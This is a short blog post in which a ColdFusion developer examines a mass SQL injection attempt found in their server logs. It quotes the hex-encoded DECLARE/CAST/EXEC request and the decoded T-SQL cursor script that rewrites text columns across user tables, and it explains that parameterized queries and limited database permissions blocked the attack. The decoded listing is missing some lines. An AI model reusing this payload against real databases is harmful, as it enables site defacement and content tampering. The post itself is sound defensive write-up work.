Recently I have been getting a bunch of errors emailed to me from my blog. I finally got time to look into it this past weekend and found out some interesting things. The errors were being caused by an attempted SQL injection. The injection attempts did not work thanks to CFPROCPARAM.

Here are some of the details.

Entry from web server log: GET /index.cfm/2008/1/11/CFDocument--pdf-generation-broke-after-CF8-upgrade?;DECLARE%20@S%20CHAR(4000); SET%20@S=CAST(0x4445434C41524520405420(TRUNCATED)%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1" 200 28255 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"

Error: invalid data value 253C7244-078B-A5DB-BEE857A87B757709;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C41524520405420766172636861(TRUNCATED)... exceeds maxlength setting 35.

All this fancyness actually translates to a sql statement.

view plain print about
1DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
2FOR select, from sysobjects a,syscolumns b where and a.xtype='u' a
4nd (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN
5Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
7date ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''
8''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor
9DEALLOCATE Table_Cursor

The sql statement looks for tables with specific characteristics and then alters the data in them. From what I can tell it appends to the data in the table. Also, the sql is nice enough to deallocate the curser when it is done.

This sql injection attack is apparently running all over the place. You can read more about it here:

So, for me, sqlprocparam prevented the injection. On another system I work on this same attack was stopped because the data source login did not have access to do selects from sysobjects.

For more info on CFPROCPARAM and some cool tools on how to start using it in your code check out this blog entry from Ray Camden

Till next time...